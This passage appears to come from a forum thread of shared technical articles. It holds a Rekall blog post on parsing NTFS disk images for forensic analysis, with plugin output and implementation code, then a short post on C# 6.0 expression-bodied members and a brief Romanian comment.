really solve it. We knew that Rekall’s binary parsing library was up to the task of handling NTFS. It was a good exercise to learn NTFS and document it in the Rekall implementation. I used Brian Carrier’s excellent book File System Forensic Analysis to learn about the NTFS and implement it in Rekall. Although we also maintain pytsk as a python binding to the TSK library, it is a bit of a pain to use. The bindings are sometimes fragile and can cause crashes under some situations. They also need to be frequently updated when TSK evolves. Performance is not great - TSK needs to parse the entire MFT each time it is loaded. Pytsk has a lot of trouble parsing a live filesystems since TSK caches its analysis of the MFT and might not see new files created after this initial MFT parsing. Rebuilding the caches is quite slow too due to the IO required in reading the entire MFT each time. I felt that a pure python implementation of NTFS parsing can be useful in some situations and use cases and possibly be more efficient (Despite being written in Python . Probably the most important reason for implementing NTFS parsing in Rekall was that it was a hell of a lot of fun! Rekall’s programming APIs are very easy to work with and the final plugins were really fast and powerful. Rekall’s implementation is not supposed to be a replacement for TSK. The Sleuthkit actually converts much of the information found in NTFS into a common format to fit all filesystems. So for example, it extends the inode abstraction from other filesystems from a simple integer to a string which may contain type and id (e.g. 50-144-8). Some of the timestamps are also omitted from the tool’s output (but may be found using the low level API). This extra layer of abstraction is good in the general case (e.g. autopsy works with all filesystems in the same way) but may actually be hiding some important forensic information in some cases. Its useful to have an implementation of NTFS parsing with no abstractions at all - to allow examiners to corroborate some of the low level information available. 1. Rekall NTFS plugins. In order to analyze an NTFS disk image, simply load it with the familiar -f switch. In the following example I use the vdfuse tool in order to export my Virtual Box VDI disk partitions as raw devices: $ vdfuse -r -f ~/VirtualBox\ VMs/win7/win7.vdi /tmp/mnt/ $ rekal -f /tmp/mnt/Partition2 -------------------------------------------------------------------------- The Rekall Memory Forensic framework 1.2.0 (Col de la Croix). "We can remember it for you wholesale!" This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. See http://www.rekall-forensic.com/docs/Manual/tutorial.html to get started. -------------------------------------------------------------------------- [1] Partition2 15:57:14> istat MFT Entry Header Values: Entry: 5 Sequence: 5 $LogFile Sequence Number: 13730649171 Links: 1 $STANDARD_INFORMATION Attribute Values: Flags COMPRESSED, HIDDEN, SYSTEM Owner ID 0 SID 265 Created 2009-07-14 02:38:56+0000 File Modified 2014-10-31 21:36:56+0000 MFT Modified 2014-10-31 21:36:56+0000 Accessed 2014-10-31 21:36:56+0000 Attributes: Inode Type Name Res Size Comment --------------- ------------------------------ ---------- ----- ---------- ------- 5-16-0 $STANDARD_INFORMATION True 72 5-48-1 $FILE_NAME True 68 . 5-144-6 $INDEX_ROOT $I30 True 168 5-160-8 $INDEX_ALLOCATION $I30 False 8192 5-176-7 $BITMAP $I30 True 8 5-256-9 $LOGGED_UTILITY_STREAM $TXF_DATA True 56 $I30 Analysis: MFT Seq Created File Mod MFT Mod Access Size Filename ---------- ----- ------------------------- ------------------------- ------------------------- ------------------------- ---------- -------- 4 4 - - - - 0 $AttrDef 8 8 - - - - 0 $BadClus 6 6 - - - - 0 $Bitmap 7 7 - - - - 0 $Boot 11 11 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 0 $Extend 2 2 - - - - 0 $LogFile 0 1 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 16384 $MFT 1 1 - - - - 0 $MFTMirr 57 3 2009-07-14 03:18:56+0000 2013-02-19 17:51:59+0000 2013-02-19 17:51:59+0000 2013-02-19 17:51:59+0000 0 $Recycle.Bin 9 9 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 2013-02-20 02:35:15+0000 0 $Secure 10 10 - - - - 0 $UpCase 3 3 - - - - 0 $Volume 5 5 2009-07-14 02:38:56+0000 2014-10-31 21:36:56+0000 2014-10-31 21:36:56+0000 2014-10-31 21:36:56+0000 0 . 145393 16 2013-02-24 22:22:28+0000 2014-10-28 09:15:59+0000 2014-10-28 09:15:59+0000 2014-10-28 09:15:59+0000 0 Config.Msi 63072 11 2013-02-19 18:31:29+0000 2014-10-23 15:24:31+0000 2014-10-23 15:24:31+0000 2014-10-23 15:24:31+0000 0 cygwin 13692 1 2009-07-14 05:08:56+0000 2009-07-14 05:08:56+0000 2013-02-20 02:46:34+0000 2009-07-14 05:08:56+0000 0 Documents and Settings 165336 45 2013-12-28 19:17:49+0000 2013-12-28 19:17:55+0000 2013-12-28 19:17:55+0000 2013-12-28 19:17:55+0000 0 MinGW 1251 15 2014-08-25 13:45:38+0000 2014-10-27 14:08:43+0000 2014-10-27 14:08:43+0000 2014-08-25 13:45:38+0000 1207721984 pagefile.sys 58 1 2009-07-14 03:20:08+0000 2009-07-14 03:20:08+0000 2013-02-20 02:46:13+0000 2009-07-14 03:20:08+0000 0 PerfLogs 60 1 2009-07-14 03:20:08+0000 2014-08-27 23:30:42+0000 2014-08-27 23:30:42+0000 2014-08-27 23:30:42+0000 0 Program Files 247 1 2009-07-14 03:20:08+0000 2014-10-28 09:11:38+0000 2014-10-28 09:11:38+0000 2014-10-28 09:11:38+0000 0 Program Files (x86) 363 1 2009-07-14 03:20:08+0000 2013-02-19 18:27:21+0000 2013-02-19 18:27:21+0000 2013-02-19 18:27:21+0000 0 ProgramData 60 1 2009-07-14 03:20:08+0000 2014-08-27 23:30:42+0000 2014-08-27 23:30:42+0000 2014-08-27 23:30:42+0000 0 PROGRA~1 247 1 2009-07-14 03:20:08+0000 2014-10-28 09:11:38+0000 2014-10-28 09:11:38+0000 2014-10-28 09:11:38+0000 0 PROGRA~2 363 1 2009-07-14 03:20:08+0000 2013-02-19 18:27:21+0000 2013-02-19 18:27:21+0000 2013-02-19 18:27:21+0000 0 PROGRA~3 88993 1 2013-02-19 18:58:43+0000 2014-08-27 22:34:33+0000 2014-10-21 16:39:13+0000 2014-08-27 22:34:33+0000 0 Python27 118195 3 2013-02-19 22:37:36+0000 2013-05-30 13:28:51+0000 2013-05-30 13:28:51+0000 2013-05-30 13:28:51+0000 0 Python27.32 27376 2 2013-02-19 17:51:27+0000 2013-02-19 17:51:27+0000 2013-02-19 17:51:27+0000 2013-02-19 17:51:27+0000 0 Recovery 149334 13 2014-08-06 18:56:26+0000 2014-09-11 14:18:27+0000 2014-09-11 14:18:27+0000 2014-09-11 14:18:27+0000 0 rekall-profiles 149334 13 2014-08-06 18:56:26+0000 2014-09-11 14:18:27+0000 2014-09-11 14:18:27+0000 2014-09-11 14:18:27+0000 0 REKALL~1 16393 2 2013-02-20 02:47:16+0000 2014-10-31 22:07:56+0000 2014-10-31 22:07:56+0000 2014-10-31 22:07:56+0000 0 System Volume Information 16393 2 2013-02-20 02:47:16+0000 2014-10-31 22:07:56+0000 2014-10-31 22:07:56+0000 2014-10-31 22:07:56+0000 0 SYSTEM~1 457 1 2009-07-14 03:20:08+0000 2013-02-19 17:51:39+0000 2014-08-27 22:06:23+0000 2013-02-19 17:51:39+0000 0 Users 154403 2 2013-02-20 13:12:13+0000 2013-02-20 13:15:48+0000 2013-02-20 13:15:48+0000 2013-02-20 13:15:48+0000 0 websymbols 154403 2 2013-02-20 13:12:13+0000 2013-02-20 13:15:48+0000 2013-02-20 13:15:48+0000 2013-02-20 13:15:48+0000 0 WEBSYM~1 58269 7 2013-02-19 18:28:16+0000 2013-02-19 18:28:16+0000 2013-02-19 18:28:16+0000 2013-02-19 18:28:16+0000 0 WinDDK 619 1 2009-07-14 03:20:08+0000 2014-10-21 23:41:52+0000 2014-10-21 23:41:52+0000 2014-10-21 23:41:52+0000 0 Windows The istat plugin displays information about a particular MFT entry. By default it shows entry 5 (The root directory). If the entry has an I30 attribute (which represents a directory index) the plugin further parses the entry and displays all files in the directory recovered from the I30 attribute stream. Note that the I30 stream contains 3 timestamps for each entry which are separated from the timestamps actually present in the MFT’s $STANDARD_INFORMATION attribute. The output of istat also lists the attributes and their types in a similar notation to that found in, e.g. the Sleuthkit. That is as a tuple separated by dashes, MFT-TYPE-ID. The fls plugin works in a similar way, but lists directories based on a filename, rooted at the root of the filesystem. The filename may use forward or backslash for separators. [1] Partition2 16:06:52> fls "Python27" -----------------------> fls("Python27") MFT Seq Created File Mod MFT Mod Access Size Filename ---------- ----- ------------------------- ------------------------- ------------------------- ------------------------- ---------- -------- 213703 19 2013-12-28 19:37:46+0000 2013-12-28 19:37:47+0000 2013-12-28 19:37:47+0000 2013-12-28 19:37:46+0000 1315 distorm3-wininst.log 213703 19 2013-12-28 19:37:46+0000 2013-12-28 19:37:47+0000 2013-12-28 19:37:47+0000 2013-12-28 19:37:46+0000 1315 DISTOR~1.LOG 91798 1 2013-02-19 18:59:11+0000 2013-12-28 17:23:18+0000 2013-12-28 17:23:18+0000 2013-12-28 17:23:18+0000 0 DLLs 94581 1 2013-02-19 18:59:34+0000 2013-02-19 18:59:34+0000 2013-02-19 18:59:34+0000 2013-02-19 18:59:34+0000 0 Doc 92031 1 2013-02-19 18:59:15+0000 2014-10-03 00:01:56+0000 2014-10-03 00:01:56+0000 2014-10-03 00:01:56+0000 0 include 89201 1 2013-02-19 18:58:47+0000 2014-10-31 21:17:03+0000 2014-10-31 21:17:03+0000 2014-10-31 21:17:03+0000 0 Lib 92334 1 2013-02-19 18:59:18+0000 2013-02-19 18:59:18+0000 2013-02-19 18:59:18+0000 2013-02-19 18:59:18+0000 0 libs 89063 1 2012-04-10 22:31:16+0000 2012-04-10 22:31:16+0000 2013-02-19 18:58:44+0000 2013-02-19 18:58:44+0000 40092 LICENSE.txt 127389 7 2013-05-30 13:01:27+0000 2013-05-30 13:01:29+0000 2013-05-30 13:01:29+0000 2013-05-30 13:01:27+0000 9973 M2Crypto-wininst.log 127389 7 2013-05-30 13:01:27+0000 2013-05-30 13:01:29+0000 2013-05-30 13:01:29+0000 2013-05-30 13:01:27+0000 9973 M2CRYP~1.LOG 89035 1 2012-04-10 22:18:52+0000 2012-04-10 22:18:52+0000 2013-02-19 18:58:44+0000 2013-02-19 18:58:44+0000 310875 NEWS.txt 129217 7 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2645 psutil-wininst.log 129217 7 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2645 PSUTIL~1.LOG 1267 8 2014-08-27 22:34:33+0000 2014-08-27 22:34:36+0000 2014-08-27 22:34:36+0000 2014-08-27 22:34:36+0000 0 PyInstaller-2.1 1267 8 2014-08-27 22:34:33+0000 2014-08-27 22:34:36+0000 2014-08-27 22:34:36+0000 2014-08-27 22:34:36+0000 0 PYINST~1.1 89064 1 2012-04-10 22:24:54+0000 2012-04-10 22:24:54+0000 2013-02-19 18:58:44+0000 2013-02-19 18:58:44+0000 27136 python.exe 89065 1 2012-04-10 22:24:58+0000 2012-04-10 22:24:58+0000 2013-02-19 18:58:44+0000 2013-02-19 18:58:44+0000 27648 pythonw.exe 116396 2 2013-02-19 19:45:14+0000 2013-02-19 23:42:49+0000 2013-02-19 23:42:49+0000 2013-02-19 19:45:14+0000 238566 pywin32-wininst.log 116396 2 2013-02-19 19:45:14+0000 2013-02-19 23:42:49+0000 2013-02-19 23:42:49+0000 2013-02-19 19:45:14+0000 238566 PYWIN3~1.LOG 89009 2 2012-03-18 22:58:32+0000 2013-05-30 13:36:32+0000 2013-05-30 13:36:32+0000 2013-05-30 13:36:32+0000 2797 readme.txt 213706 13 2013-12-28 19:37:46+0000 2013-12-28 19:37:46+0000 2013-12-28 19:37:46+0000 2013-12-28 19:37:46+0000 223744 Removedistorm3.exe 127390 5 2013-05-30 13:01:27+0000 2013-05-30 13:01:27+0000 2013-05-30 13:01:27+0000 2013-05-30 13:01:27+0000 223744 RemoveM2Crypto.exe 129218 5 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 223744 Removepsutil.exe 116397 2 2013-02-19 19:45:14+0000 2013-02-19 23:42:21+0000 2013-02-19 23:42:21+0000 2013-02-19 19:45:14+0000 223744 Removepywin32.exe 116397 2 2013-02-19 19:45:14+0000 2013-02-19 23:42:21+0000 2013-02-19 23:42:21+0000 2013-02-19 19:45:14+0000 223744 REMOVE~1.EXE 127390 5 2013-05-30 13:01:27+0000 2013-05-30 13:01:27+0000 2013-05-30 13:01:27+0000 2013-05-30 13:01:27+0000 223744 REMOVE~2.EXE 129218 5 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 2013-05-30 13:02:47+0000 223744 REMOVE~3.EXE 213706 13 2013-12-28 19:37:46+0000 2013-12-28 19:37:46+0000 2013-12-28 19:37:46+0000 2013-12-28 19:37:46+0000 223744 REMOVE~4.EXE 117061 1 2013-02-19 19:45:15+0000 2014-08-27 23:48:19+0000 2014-08-27 23:48:19+0000 2014-08-27 23:48:19+0000 0 Scripts 233676 26 2014-02-19 22:43:58+0000 2014-02-19 22:43:58+0000 2014-02-19 22:43:58+0000 2014-02-19 22:43:58+0000 0 share 92364 1 2013-02-19 18:59:18+0000 2013-02-19 18:59:33+0000 2013-02-19 18:59:33+0000 2013-02-19 18:59:33+0000 0 tcl 94437 1 2013-02-19 18:59:33+0000 2013-02-19 18:59:34+0000 2013-02-19 18:59:34+0000 2013-02-19 18:59:34+0000 0 Tools Similarly fstat is analogous to istat except takes a filename as an argument. Rekall supports NTFS compressed files too. Consider the following file: [1] Partition2 16:06:54> istat 89063 MFT Entry Header Values: Entry: 89063 Sequence: 1 $LogFile Sequence Number: 12520239903 Links: 1 $STANDARD_INFORMATION Attribute Values: Flags ARCHIVE, COMPRESSED Owner ID 0 SID 713 Created 2012-04-10 22:31:16+0000 File Modified 2012-04-10 22:31:16+0000 MFT Modified 2013-02-19 18:58:44+0000 Accessed 2013-02-19 18:58:44+0000 Attributes: Inode Type Name Res Size Comment --------------- ------------------------------ ---------- ----- ---------- ------- 89063-16-0 $STANDARD_INFORMATION True 72 89063-48-2 $FILE_NAME True 88 LICENSE.txt 89063-128-3 $DATA False 40092 VCN: 0-15 Clusters (128-3): 3456320-3456326(6) Sparse(10) NTFS compression works by compressing every 16 clusters together, and inserting a sparse cluster to cover the compressed region. We can see this in the above cluster listing. Rekall provides the idump plugin which is analogous to the regular dump plugin, and displays a hexdump of the MTF entry. [1] Partition2 16:06:56> idump 89063 Offset Hex Data -------------- ------------------------------------------------ ---------------- 0x0 41 2e 20 48 49 53 54 4f 52 59 20 4f 46 20 54 48 A..HISTORY.OF.TH - 0x10 45 20 53 4f 46 54 57 41 52 45 0d 0a 3d 3d 3d 3d E.SOFTWARE..==== - 0x20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ================ - 0x30 3d 3d 3d 3d 3d 3d 0d 0a 0d 0a 50 79 74 68 6f 6e ======....Python - 0x40 20 77 61 73 20 63 72 65 61 74 65 64 20 69 6e 20 .was.created.in. - 0x50 74 68 65 20 65 61 72 6c 79 20 31 39 39 30 73 20 the.early.1990s. - 0x60 62 79 20 47 75 69 64 6f 20 76 61 6e 20 52 6f 73 by.Guido.van.Ros - 0x70 73 75 6d 20 61 74 20 53 74 69 63 68 74 69 6e 67 sum.at.Stichting - 0x80 0d 0a 4d 61 74 68 65 6d 61 74 69 73 63 68 20 43 ..Mathematisch.C - 0x90 65 6e 74 72 75 6d 20 28 43 57 49 2c 20 73 65 65 entrum.(CWI,.see - If you want to copy a file out of the NTFS filesystem, use the iexport plugin. [1] Partition2 16:50:46> iexport 89063, dump_dir="/tmp/" Writing MFT Entry 89063 as Python27/LICENSE.txt [1] Partition2 16:51:11> !head /tmp/Python27%2fLICENSE.txt A. HISTORY OF THE SOFTWARE ========================== Python was created in the early 1990s by Guido van Rossum at Stichting Mathematisch Centrum (CWI, see http://www.cwi.nl) in the Netherlands as a successor of a language called ABC. Guido remains Python's principal author, although it includes many contributions from others. In 1995, Guido continued his work on Python at the Corporation for National Research Initiatives (CNRI, see http://www.cnri.reston.va.us) 2. Rekall’s NTFS implementation notes. This section is intended for Rekall developers who want to learn a bit about how Rekall’s NTFS implementation uses some of the common features in the Rekall API. 2.1. Autodetection of NTFS To make Rekall as easy to use as possible, we use autodetection as much as we can. Ideally a user should simply provide the image file, and Rekall will detect the image format and the profile required. To support this, Rekall has an autodetection plugin system. A detector class simply registers by extending guess_profile.DetectionMethod: class NTFSDetector(guess_profile.DetectionMethod): name = "ntfs" def Offsets(self): return [0] def DetectFromHit(self, hit, _, address_space): ntfs_profile = self.session.LoadProfile("ntfs") try: ntfs = NTFS(address_space=address_space, session=self.session) self.session.SetParameter("ntfs", ntfs) return ntfs_profile except NTFSParseError: return The detector can provide a string on which to fire, or a list of offsets to check in its Offsets() method. The framework will then call it when a hit is found. 2.2. Implementing Fixups One of the more interesting features of NTFS is the use of Fixups. When the NTFS writes to disk certain data structures, it replaces some bytes in the cluster with a random sequence. It then stores the bytes that used to be there as fixups in a list. When NTFS reads the cluster from disk it applies the fixups to get the original data. This means that we can not simply read clusters from the disk - we must apply the relevant fixups. In Rekall we have an Address Space abstraction to read data. Address Spaces typically layer on top of other address spaces. Hence we can implement the FixupAddressSpace so it can be layered on top of another address space: class FixupAddressSpace(addrspace.BaseAddressSpace): """An address space to implement record fixup.""" def __init__(self, fixup_magic, fixup_table, base_offset, length, **kwargs): super(FixupAddressSpace, self).__init__(**kwargs) self.as_assert(self.base is not None, "Address space must be stacked.") self.base_offset = base_offset self.fixup_table = fixup_table self.fixup_magic = fixup_magic # We read the entire region into a mutable buffer then apply the fixups. self.buffer = array.array("c", self.base.read(base_offset, length)) for i, fixup_value in enumerate(fixup_table): fixup_offset = (i+1) * 512 - 2 if (self.buffer[fixup_offset:fixup_offset+2].tostring() != fixup_magic.v()): raise NTFSParseError("Fixup error") self.buffer[fixup_offset:fixup_offset+2] = array.array( "c", fixup_value.v()) def read(self, address, length): buffer_offset = address - self.base_offset return self.buffer[buffer_offset:buffer_offset+length].tostring() We can then apply the fixup to arbitary structures. The below code will automatically apply the fixup every time we instantiate an MFT_ENTRY struct. Therefore the fixups become completely transparent now: class MFT_ENTRY(obj.Struct): def __init__(self, **kwargs): super(MFT_ENTRY, self).__init__(**kwargs) # We implement fixup by wrapping the base address space with a fixed # one: self.obj_vm = FixupAddressSpace(fixup_magic=self.fixup_magic, fixup_table=self.fixup_table, base_offset=self.obj_offset, length=self.mft_entry_allocated, base=self.obj_vm) 2.3. Runlists NTFS attributes can be fragmented. The actual blocks they occupy on disk are described using a run list. Rekall already has an address space primitive called a RunBasedAddressSpace. This type of address space is simply initialized with a list of runs specifying tuples of the form (file address, disk address length), and then layered on top of the Physical Address Space (i.e. the disk image). Supporting compressed files makes the implementation slightly more complex, but in general all one has to do is derive an address space from the RunBasedAddressSpace and in the constructor populate the self.runs collection. The following shows the simplified implementation ignoring compression. class RunListAddressSpace(addrspace.RunBasedAddressSpace): """An address space which is initialized from a runlist.""" def __init__(self, run_list, cluster_size=None, size=0, **kwargs): super(RunListAddressSpace, self).__init__(**kwargs) self.PAGE_SIZE = cluster_size or self.session.cluster_size self.compression_unit_size = 16 * self.PAGE_SIZE self._end = size # In clusters. file_offset = 0 for range_start, range_length in run_list: self._store_run( file_offset, range_start, uncompressed_range_length) def _store_run(self, file_offset, range_start, length): """Store a new run with all items given in self.PAGE_SIZE.""" self.runs.insert( [file_offset * self.PAGE_SIZE, range_start * self.PAGE_SIZE, length * self.PAGE_SIZE, False]) ... Once the mapping is defined, the address space takes care of efficiently locating and using the correct run for arbitrary read operations. 2.4. Further abstractions Rekall uses rekall.obj.Struct classes to represent arbitrary structs in memory. There is a mechanism to extend these and provide methods for these structs. The methods can be used to define a kind of API for accessing other data. For example, we can attach convenience methods to an MFT_ENTRY: class MFT_ENTRY(obj.Struct): @ property def attributes(self): """Iterate over all attributes, even ones in $ATTRIBUTE_LIST.""" seen = set() for attribute in self._attributes: if attribute.type == 0xFFFFFFFF: break if attribute in seen: continue seen.add(attribute) yield attribute if attribute.type == "$ATTRIBUTE_LIST": for sub_attr in attribute.DecodeAttribute(): if sub_attr.mftReference == self.mft_entry: continue result = sub_attr.attribute if result in seen: continue yield result def open_file(self): """Returns an address space which maps the content of the file's data. If this MFT does not contain any $DATA streams, returns a NoneObject(). The returned address space is formed by joining all $DATA streams' run lists in this MFT into a contiguous mapping. """ .... def list_files(self): """List the files contained in this directory. Note that any file can contain other files (i.e. be a directory) if it has an $I30 stream. Thats is directories may also contain data and behave as files! Returns: An iterator over all INDEX_RECORD_ENTRY. """ .... The above is a sample of some of the convenience methods attached to the MFT_ENTRY. The first combines the attributes defined within the MFT with those defined inside the $ATTRIBUTE_LISTattribute (Typically an MFT will start with some built in attributes until it runs out of room, then it will move some attributes to an $ATTRIBUTE_LIST attribute which is non resident. But this is an implementation detail of the MFT and should really be abstracted. Similarly we have the list_files() method which simply finds the $INDEX_ROOT and $INDEX_ALLOCATION attributes and enumerates all entries within. Similarly file data can be stored in multiple $DATA attributes (with different VCN ranges). Its a bit tedious to combine these $DATA attributes and so we have the open_file() convenience method to return a suitable address space over the file. 3. Using the NTFS API. Using these method it is easy to use the API to open and read arbitrary MFT entries: $ rekal -f /tmp/mnt/Partition2 ---------------------------------------------------------------------------- The Rekall Memory Forensic framework 1.2.0 (Col de la Croix). "We can remember it for you wholesale!" This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. See http://www.rekall-forensic.com/docs/Manual/tutorial.html to get started. ---------------------------------------------------------------------------- # This gets a reference to the ntfs object which represents the filesystem. [1] Partition2 19:28:33> ntfs = session.GetParameter("ntfs") # The NTFS object contains a reference to the MFT [1] Partition2 19:28:38> mft = ntfs.mft[89035] # Which is just an array of MFT_ENTRY structs [1] Partition2 19:28:40> print mft [MFT_ENTRY Array[89035] ] @ 0x056F2C00 0x00 magic [String:magic]: 'FILE' 0x04 fixup_offset [unsigned short:fixup_offset]: 0x00000030 0x06 fixup_count [unsigned short:fixup_count]: 0x00000003 0x08 logfile_sequence_number [unsigned long long:logfile_sequence_number]: 0x2C601977B 0x10 sequence_value [unsigned short:sequence_value]: 0x00000001 0x12 link_count [unsigned short:link_count]: 0x00000001 0x14 attribute_offset [unsigned short:attribute_offset]: 0x00000038 0x16 flags [Flags:flags]: 0x00000001 (ALLOCATED) 0x18 mft_entry_size [unsigned short:mft_entry_size]: 0x00000178 0x1C mft_entry_allocated [unsigned short:mft_entry_allocated]: 0x00000400 0x20 base_record_reference [unsigned long long:base_record_reference]: 0x00000000 0x28 next_attribute_id [unsigned short:next_attribute_id]: 0x00000004 0x30 fixup_magic [String:fixup_magic]: '\x0f\x00' 0x32 fixup_table <Array 2 x String @ 0x056F2C32> 0x38 _attributes <ListArray 0 x NTFS_ATTRIBUTE @ 0x056F2C38> # We use the convenience method to open the file, returning a suitable address space. [1] Partition2 19:28:41> fd = mft.open_file() # We can just read the address space. [1] Partition2 19:28:45> fd.read(0, 20) Out > 'Python News\r\n+++++++' We can also list files in a directory: [1] Partition2 19:38:00> for record in ntfs.mft[5].list_files(): |..> print record.file.name $AttrDef $BadClus $Bitmap $Boot $Extend $LogFile $MFT $MFTMirr $Recycle.Bin $Secure $UpCase $Volume . Config.Msi cygwin Documents and Settings MinGW pagefile.sys PerfLogs Program Files Program Files (x86) ProgramData PROGRA~1 PROGRA~2 PROGRA~3 Python27 Python27.32 Recovery rekall-profiles REKALL~1 System Volume Information SYSTEM~1 Users websymbols WEBSYM~1 WinDDK Windows [1] Partition2 19:38:16> print record [INDEX_RECORD_ENTRY ListArray[20] ] @ 0x00001890 0x00 mftReference [BitField(0-48):mftReference]: 0x0000026B 0x06 seq_num [short int:seq_num]: 0x00000001 0x08 sizeOfIndexEntry [unsigned short:sizeOfIndexEntry]: 0x00000060 0x0A filenameOffset [unsigned short:filenameOffset]: 0x00000050 0x0C flags [unsigned int:flags]: 0x00000000 0x10 file [FILE_NAME file] @ 0x000018A0 [1] Partition2 19:38:18> print record.file [FILE_NAME file] @ 0x000018A0 0x00 mftReference [BitField(0-48):mftReference]: 0x00000005 0x06 seq_num [short int:seq_num]: 0x00000005 0x08 created [WinFileTime:created]: 0x4A5BF968 (2009-07-14 03:20:08+0000) 0x10 file_modified [WinFileTime:file_modified]: 0x5446EF40 (2014-10-21 23:41:52+0000) 0x18 mft_modified [WinFileTime:mft_modified]: 0x5446EF40 (2014-10-21 23:41:52+0000) 0x20 file_accessed [WinFileTime:file_accessed]: 0x5446EF40 (2014-10-21 23:41:52+0000) 0x28 allocated_size [unsigned long long:allocated_size]: 0x00000000 0x30 size [unsigned long long:size]: 0x00000000 0x38 flags [Flags:flags]: 0x10000800 () 0x3C reparse_value [unsigned int:reparse_value]: 0x00000000 0x40 _length_of_name [byte:_length_of_name]: 0x00000007 0x41 name_type [Enumeration:name_type]: 0x00000000 (POSIX) 0x42 name [UnicodeString:name]: u'Windows' (Windows) Note that iterating over the index produces a list of INDEX_RECORD_ENTRY structs which also contain FILE_NAME structs within them. The FILE_NAME structs contain the 4 NTFS timestamps quite independently from the timestamps stored in the actual MFT for the file itself (This FILE_NAME struct came from the directory index), this can be forensically significant. The next example shows how to get the $STANDARD_INFORMATION record for each file: [1] Partition2 19:56:32> x=ntfs.mft[89035].get_attribute("$STANDARD_INFORMATION") [1] Partition2 19:57:01> print x.DecodeAttribute() [STANDARD_INFORMATION STANDARD_INFORMATION] @ 0x00000000 0x00 create_time [WinFileTime:create_time]: 0x4F84B1CC (2012-04-10 22:18:52+0000) 0x08 file_altered_time [WinFileTime:file_altered_time]: 0x4F84B1CC (2012-04-10 22:18:52+0000) 0x10 mft_altered_time [WinFileTime:mft_altered_time]: 0x5123CB64 (2013-02-19 18:58:44+0000) 0x18 file_accessed_time [WinFileTime:file_accessed_time]: 0x5123CB64 (2013-02-19 18:58:44+0000) 0x20 flags [Flags:flags]: 0x00000820 (ARCHIVE, COMPRESSED) 0x24 max_versions [unsigned int:max_versions]: 0x00000000 0x28 version [unsigned int:version]: 0x00000000 0x2C class_id [unsigned int:class_id]: 0x00000000 0x30 owner_id [unsigned int:owner_id]: 0x00000000 0x34 sid [unsigned int:sid]: 0x000002C9 0x38 quota [unsigned long long:quota]: 0x00000000 0x40 usn [unsigned int:usn]: 0xC54A40B8 4. Conclusions Although the NTFS support in Rekall is still pretty immature we want to make it better and more useful. For a relatively complex filesystem, such as NTFS, the Rekall implementation is pretty small, coming in at around 1000 lines of code (not including the implementation for lznt1 - the NTFS compression algorithm. Additional lines are for plugins etc). It should be possible to support additional filesystems as well. We also want to write more interesting plugins, please let us know any ideas for a good NTFS plugin Performance is pretty good. One thing you should notice is that Rekall starts up pretty fast since it does not scan the MFT like TSK does. Of course this means that Rekall cant find orphaned files like TSK does! Rekall also does not have a cache of the MFT - making it suitable to operate on a changing live filesystem. Reading compressed files is currently pretty slow since the lznt1 compression algorithm is implemented in pure python. This could be easily accelerated with a C implementation in future. Source
  9. Did you explore the latest of C# 6.0? It brought another new feature called “Expression-bodied function members” which will allow you to write expression bodies for properties, methods etc. instead of writing statement blocks. Thus reducing the code. Today in this post, we will discuss about the new Did you explore the latest of C# 6.0? It brought another new feature called “Expression-bodied function members” which will allow you to write expression bodies for properties, methods etc. instead of writing statement blocks. Thus reducing the code. Today in this post, we will discuss about the new feature “Expression-bodied function members”. Read more to learn about it. Don’t forget to share the feature links in your network. Don’t forget to read my previous posts on this series: What’s new in C# 6.0? - Setting default values to Auto Properties. What’s new in C# 6.0? - String Interpolation. What’s new in C# 6.0? - nameof Expressions. What’s new in C# 6.0? - Null-conditional operators. What’s new in C# 6.0? - Exception Filters. What’s new in C# 6.0? - Expression-bodied function. C# 6.0 brought another great new feature named “Expression-bodied function members” along with Visual Studio 2015 and .NET 4.6. If you didn’t try yet the preview version of the new IDE, go and grab it to get your hands dirty with the new features before it actually releases. Expression-bodied function members allow properties, methods, operators and other function members to have bodies as lambda like expressions instead of statement blocks. Thus reducing lines of codes and clear view of the expressions. Now in C# 6.0, instead of writing the whole property body using getters/setters, you can now just use the lambda arrow (“=>”) to return values. For example, the below code returns the string “Kunal Chowdhury” when you access the property “New Name”. Remember that, in this case you don’t have to write the “return” keyword. The lambda arrow (=>) will do the same for you internally. Similar to properties, you can also write expressions for methods/functions which returns value to the caller. For example, the below code will return sub of the parameters when you call the “NewSum” method. Here is another example to show you how you can use the expression-bodied function members while declaring the methods. Please note that the effect is exactly the same as if the methods had a block body with a single return statement. Not only returning methods, you can use the feature in void returning methods, as well as Task returning async methods too. The lambda arrow syntax (“=>”) still applies but the expression following the arrow must be a statement expression (just as is the rule for lambdas): Though it is still not much clear on what additional benefit it will provide to us, but definitely it will reduce some codes, brackets etc. and give us a clean code. What additional benefits you think? Drop a line and share with us. Whatever the case, the new features are really very exciting. Isn’t it? Which feature you liked the most? Don’t forget to subscribe to my blog’s RSS feed and Email Newsletter to get the immediate update directly delivered to your inbox. I am available on Twitter, Facebook, Google + and LinkedIn. Do connect with me on those social networking sites and get the updates which I share. Reference: Kunal-Chowdhury.com Source
  10. E interesant @Nytro ieri am prins finalul azi sper sa prind tot.
